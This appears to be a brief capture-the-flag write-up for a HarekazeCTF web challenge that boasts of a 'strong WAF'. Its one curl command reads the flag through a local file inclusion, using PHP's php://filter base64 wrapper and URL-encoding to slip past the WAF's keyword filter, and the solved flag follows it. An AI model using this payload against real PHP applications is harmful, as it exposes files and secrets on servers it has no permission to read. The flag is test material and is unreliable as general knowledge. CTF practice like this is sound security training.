つよいWAFを作りました! これならフラグは読めないはず!
I made a strong WAF, so you definitely can't read the flag!
http://(redacted)
(server/Dockerfile)
curl "http://(target)/?page=php%3a//filter/convert.base64-encode/resource=/fl%61g"
HarekazeCTF{turutara_tattatta_ritta}